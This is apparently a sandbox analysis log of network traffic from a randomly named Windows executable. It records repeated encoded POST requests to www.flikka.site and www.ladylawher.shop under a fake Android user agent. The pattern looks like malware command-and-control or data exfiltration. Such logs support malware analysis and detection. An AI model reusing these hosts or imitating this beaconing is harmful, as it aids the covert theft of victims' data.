Nov 13, 2024 09:27:50.171065092 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 08:27:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UjHYZyHvwzHCSDoCM5s1iOqSX00sSzrK%2F2%2BqIe0qRkduGgQagp83h8%2FMkoiufNjgKYNUDa7rv114DpR5xWldq4%2Be6%2BrtephnSpL0ygZtixuRKDZ6vDDkXBvQki8t%2Fgbu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1d62807c14e936-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1305&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=523&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6a 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 3c Data Ascii: 130d<!DOCTYPE html><html class="js cssanimations"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content=""> <meta name="keywords" content=""> <
Nov 13, 2024 09:27:50.177561998 CET	1236	IN	Data Raw: 61 73 73 3d 22 6a 73 2d 63 61 6e 76 69 2d 6f 70 65 6e 2d 62 75 74 74 6f 6e 2d 2d 6c 65 66 74 20 63 75 73 2d 68 65 61 64 65 72 2d 6c 65 66 74 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 7a 79 2d 74 77 2e 6f 73 73 2d 61 63 63 65 Data Ascii: ass="js-canvi-open-button--left cus-header-left"><img src="https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png" alt=""></span> <span class="cus-header-mid" style="color:black;font-weight:bold;">GVJTBEST </span>
Nov 13, 2024 09:27:50.177597046 CET	1236	IN	Data Raw: 0a 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 37 35 25 3b 0d 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 Data Ascii: flex-direction: column; height: 75%; justify-content: center; align-items: center; /overflow: hidden;/ /flex-shrink:0;/}.sp_img img { width: auto; height: auto; max-width: 94%; max-he

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	59058	67.223.117.142	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:55.328007936 CET	783	OUT	POST /brrb/ HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.flikka.site Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.flikka.site/brrb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 43 77 30 5a 79 30 4c 56 42 4d 37 39 43 63 70 5a 64 6c 68 6d 36 35 45 6a 69 62 53 61 41 41 4a 45 35 35 46 74 51 71 48 31 64 31 79 59 67 5a 6e 48 53 4f 6c 55 78 67 58 47 67 4e 52 47 45 6a 6d 6d 50 70 65 61 6d 32 6b 46 59 75 70 6a 74 62 6a 45 67 79 42 6b 61 68 59 6f 46 6b 54 47 76 70 32 70 55 53 31 54 55 6b 70 32 57 69 6e 44 2f 51 57 45 58 36 35 45 7a 50 79 75 55 4c 79 70 6e 69 6d 5a 36 6d 54 66 4c 6a 4e 48 54 42 78 6a 5a 6f 49 34 61 2f 4a 66 32 48 6e 66 69 4b 50 59 34 43 37 5a 4c 76 6c 68 77 77 62 41 73 36 4f 37 4c 2b 77 54 36 4c 46 31 6b 39 46 38 76 71 75 78 71 48 6a 71 30 77 3d 3d Data Ascii: rP=Cw0Zy0LVBM79CcpZdlhm65EjibSaAAJE55FtQqH1d1yYgZnHSOlUxgXGgNRGEjmmPpeam2kFYupjtbjEgyBkahYoFkTGvp2pUS1TUkp2WinD/QWEX65EzPyuULypnimZ6mTfLjNHTBxjZoI4a/Jf2HnfiKPY4C7ZLvlhwwbAs6O7L+wT6LF1k9F8vquxqHjq0w==
Nov 13, 2024 09:27:55.994162083 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Nov 2024 08:27:55 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	59069	67.223.117.142	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:57.863544941 CET	803	OUT	POST /brrb/ HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.flikka.site Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.flikka.site/brrb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 43 77 30 5a 79 30 4c 56 42 4d 37 39 44 39 5a 5a 59 43 56 6d 71 70 45 6b 74 37 53 61 4b 67 4a 41 35 35 4a 74 51 76 2f 62 63 48 47 59 67 38 62 48 56 4e 39 55 77 67 58 47 72 74 52 44 4c 44 6d 68 50 70 44 77 6d 33 59 46 59 75 74 6a 74 65 48 45 67 44 42 6e 56 52 59 6d 51 30 54 2b 73 5a 32 70 55 53 31 54 55 6e 56 49 57 6d 44 44 34 68 6d 45 57 62 35 48 76 2f 79 68 54 4c 79 70 6a 69 6d 56 36 6d 54 35 4c 69 52 68 54 48 31 6a 5a 70 34 34 61 71 39 59 74 33 6e 56 38 36 4f 70 34 43 6a 64 46 4f 59 4d 32 78 62 4a 79 61 37 64 48 59 39 4a 72 36 6b 69 32 39 68 50 79 74 6e 46 6e 45 65 6a 76 35 44 4f 39 4d 63 41 30 55 31 59 65 62 4d 66 53 36 57 37 36 59 34 3d Data Ascii: rP=Cw0Zy0LVBM79D9ZZYCVmqpEkt7SaKgJA55JtQv/bcHGYg8bHVN9UwgXGrtRDLDmhPpDwm3YFYutjteHEgDBnVRYmQ0T+sZ2pUS1TUnVIWmDD4hmEWb5Hv/yhTLypjimV6mT5LiRhTH1jZp44aq9Yt3nV86Op4CjdFOYM2xbJya7dHY9Jr6ki29hPytnFnEejv5DO9McA0U1YebMfS6W76Y4=
Nov 13, 2024 09:27:58.555423975 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Nov 2024 08:27:58 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	59085	67.223.117.142	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:00.412889004 CET	10885	OUT	POST /brrb/ HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.flikka.site Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.flikka.site/brrb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 43 77 30 5a 79 30 4c 56 42 4d 37 39 44 39 5a 5a 59 43 56 6d 71 70 45 6b 74 37 53 61 4b 67 4a 41 35 35 4a 74 51 76 2f 62 63 48 65 59 67 4f 44 48 54 73 39 55 69 77 58 47 6f 74 52 43 4c 44 6e 6b 50 70 4c 30 6d 33 55 56 59 6f 78 6a 73 39 2f 45 69 78 70 6e 4f 42 59 6d 53 30 54 46 76 70 32 38 55 53 6c 74 55 6e 46 49 57 6d 44 44 34 6a 2b 45 43 36 35 48 38 76 79 75 55 4c 79 62 6e 69 6e 41 36 6d 62 48 4c 69 45 61 53 32 4a 6a 5a 4a 6f 34 59 59 56 59 68 33 6e 54 39 36 4f 78 34 43 65 44 46 50 30 75 32 78 76 77 79 5a 6e 64 45 38 67 50 76 36 51 62 6a 39 78 68 77 2b 62 54 6f 54 4b 63 70 37 50 6b 7a 2b 45 65 70 56 49 31 53 38 78 71 42 36 6a 2b 6e 4e 73 61 62 47 74 37 30 65 33 56 75 4a 45 48 4f 55 66 76 2f 36 67 56 4b 4a 33 67 79 68 35 4d 34 6c 79 57 63 6b 68 33 38 2b 4b 2b 2b 53 79 6c 34 71 37 79 54 65 39 46 6a 78 73 58 41 54 79 78 73 73 50 6b 4c 6f 64 4e 36 79 74 66 45 35 7a 45 57 57 76 58 31 4e 4d 45 5a 58 2f 70 73 6e 4e 2f 33 56 51 6d 6e 2b 58 68 5a 41 64 77 61 71 67 42 66 57 7a 55 7a 32 69 59 4b 59 74 [TRUNCATED] Data Ascii: rP=Cw0Zy0LVBM79D9ZZYCVmqpEkt7SaKgJA55JtQv/bcHeYgODHTs9UiwXGotRCLDnkPpL0m3UVYoxjs9/EixpnOBYmS0TFvp28USltUnFIWmDD4j+EC65H8vyuULybninA6mbHLiEaS2JjZJo4YYVYh3nT96Ox4CeDFP0u2xvwyZndE8gPv6Qbj9xhw+bToTKcp7Pkz+EepVI1S8xqB6j+nNsabGt70e3VuJEHOUfv/6gVKJ3gyh5M4lyWckh38+K++Syl4q7yTe9FjxsXATyxssPkLodN6ytfE5zEWWvX1NMEZX/psnN/3VQmn+XhZAdwaqgBfWzUz2iYKYtZfznm4v9h/f3F1VrYhEGlWpceSo9aLmtk+RfPXY7Ud6NPfmWOfiewf4IMBiOtuWX04/3R6SOrQlL28xzYzhpaFhnr7f12IvShUskdr9mzUOvEoQfT+bcbsSiiPz5KejFEl029QdsaCvf93OcdHROy+2lY9PY0Kwx+5h0Ok9ismeNG8a+0onQvNBEmuQMP3sePheOddeEm5HYJpT/8yFud0GEHiY0MJQUg0oD7m3PC2LTaJgdoyCwdVlivwFPXmQqB9ApR/r6ESw/pyMY3beMmoz+dFU8zJxPrWPK/jUciOmCUsUdmPnPxwamsdWnyPjoyFrX8hE2A8SPOCAxBmLDhEb/+0RvSaKSoiZrIS0dZ4TGWWdTkYSGqJCn1jo1lDrCXQoqWr0ynl6R30sD9hSUVQJceDZXwOVpFmrUBJDFoYisdGOpBeaPE79LkHMjLbW8cOSHjl03TskCnPU5hnDYjP7n6jVcwivQ84FZY3ZSJw6xAnQFmoDNGG6ebwBVhyfIrEUpB6sDO5ItjBpfLNMxYH/Mu9AYcQOuKNcJRQ3hkw2PLFpxOMP+EmXh8w7ZtqV7VHMh/mjI5OGFFdW9UZQHA4LW4o9E97qVnITg8VPKQfNVer0eElr5DXavDJyFXUN7rVtALMoBSeObE1Tk+Sjo4sPmLl3C3ToR6e [TRUNCATED]
Nov 13, 2024 09:28:01.387176991 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Nov 2024 08:28:00 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Nov 13, 2024 09:28:01.387871981 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Nov 2024 08:28:00 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	59101	67.223.117.142	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:02.955741882 CET	525	OUT	GET /brrb/?rP=Pyc5xCH2FNTrUJIJcyFngeQJg4SvOnlrloocc6vOBweawvT0T5Z/ogiftYZRDFuocKSPtlVGb/YM09jHyAcWaQwrV3rluoKHVSlnOVUNWjSt4yW6AKlEvfo=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:28:03.628504992 CET	548	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Nov 2024 08:28:03 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	59102	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:08.706906080 CET	795	OUT	POST /i4bc/ HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.ladylawher.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.ladylawher.shop/i4bc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 43 35 30 4f 58 39 4a 46 56 4e 41 66 4b 38 62 52 75 5a 32 70 35 6c 67 50 78 39 30 63 48 31 4b 67 63 4c 2f 7a 63 6e 34 73 55 65 53 69 6e 4a 43 5a 69 48 73 42 30 78 56 41 6d 32 74 50 2f 46 36 38 45 31 45 32 4e 52 37 5a 4e 64 65 59 44 38 2b 59 53 5a 4b 68 6b 55 64 48 48 6e 58 4e 36 6f 31 32 52 44 78 45 33 51 75 42 35 4f 74 62 6d 30 72 43 58 4b 4e 2f 48 55 55 53 4f 62 64 44 2b 47 47 78 38 73 66 6b 67 51 45 7a 7a 47 49 32 6f 6c 58 50 64 7a 34 73 36 68 63 76 68 47 52 53 47 4f 73 69 34 54 74 43 74 6a 42 59 6c 65 79 76 59 56 42 7a 6e 44 37 58 53 38 79 4a 56 41 2f 68 33 39 31 77 6d 41 3d 3d Data Ascii: rP=C50OX9JFVNAfK8bRuZ2p5lgPx90cH1KgcL/zcn4sUeSinJCZiHsB0xVAm2tP/F68E1E2NR7ZNdeYD8+YSZKhkUdHHnXN6o12RDxE3QuB5Otbm0rCXKN/HUUSObdD+GGx8sfkgQEzzGI2olXPdz4s6hcvhGRSGOsi4TtCtjBYleyvYVBznD7XS8yJVA/h391wmA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	59103	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:11.254400015 CET	815	OUT	POST /i4bc/ HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.ladylawher.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.ladylawher.shop/i4bc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 43 35 30 4f 58 39 4a 46 56 4e 41 66 4b 64 4c 52 69 65 43 70 6f 31 67 4d 76 74 30 63 4a 56 4b 6b 63 4c 7a 7a 63 69 41 47 55 49 43 69 6e 72 71 5a 6a 46 45 42 78 78 56 41 2b 47 74 47 37 46 36 6e 45 31 49 51 4e 52 48 5a 4e 64 61 59 44 39 4f 59 53 71 53 69 6c 45 64 46 4b 48 58 50 30 49 31 32 52 44 78 45 33 51 71 37 35 4f 6c 62 6d 46 37 43 58 76 74 77 4a 30 55 54 5a 72 64 44 36 47 47 31 38 73 66 47 67 54 41 5a 7a 45 77 32 6f 68 54 50 64 48 6b 74 77 68 63 6c 76 6d 51 74 56 4e 39 54 34 52 49 55 6b 53 5a 44 6a 64 4f 4c 55 7a 4d 70 32 79 61 41 41 38 57 36 49 48 32 56 36 2b 49 35 39 49 74 63 58 6b 35 74 79 4d 51 63 6d 55 52 66 49 4d 57 32 64 30 6b 3d Data Ascii: rP=C50OX9JFVNAfKdLRieCpo1gMvt0cJVKkcLzzciAGUICinrqZjFEBxxVA+GtG7F6nE1IQNRHZNdaYD9OYSqSilEdFKHXP0I12RDxE3Qq75OlbmF7CXvtwJ0UTZrdD6GG18sfGgTAZzEw2ohTPdHktwhclvmQtVN9T4RIUkSZDjdOLUzMp2yaAA8W6IH2V6+I59ItcXk5tyMQcmURfIMW2d0k=

